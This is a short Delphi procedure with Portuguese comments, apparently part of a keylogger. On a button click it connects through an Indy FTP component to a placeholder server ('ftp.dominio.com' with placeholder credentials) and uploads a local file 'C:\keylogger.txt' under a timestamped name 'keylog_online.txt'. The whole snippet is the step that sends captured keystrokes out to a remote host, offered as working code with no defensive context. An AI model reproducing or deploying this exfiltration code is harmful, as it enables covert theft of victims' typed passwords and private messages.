procedure TForm1.Button1Click(Sender: TObject);
var
dir,line2,name2 : string;
begin

dir := '/public_html/'; // caminho dentro do servidor
line2:= 'C:\keylogger.txt'; // caminho do arquivo a ser enviado
name2:= TimeToStr(time)+TimeToStr(date)+'keylog_online.txt'; //nome do arquivo no servidor

with IdFTP1 do begin
Username := 'seulogin';
Password := 'suasenha';
Host := 'ftp.dominio.com';
Connect;
ChangeDir(dir); // muda o diretorio
end;
try
IdFTP1.Put(line2, name2); // envia o arquivo!
finally
IdFTP1.Disconnect;
end;
end;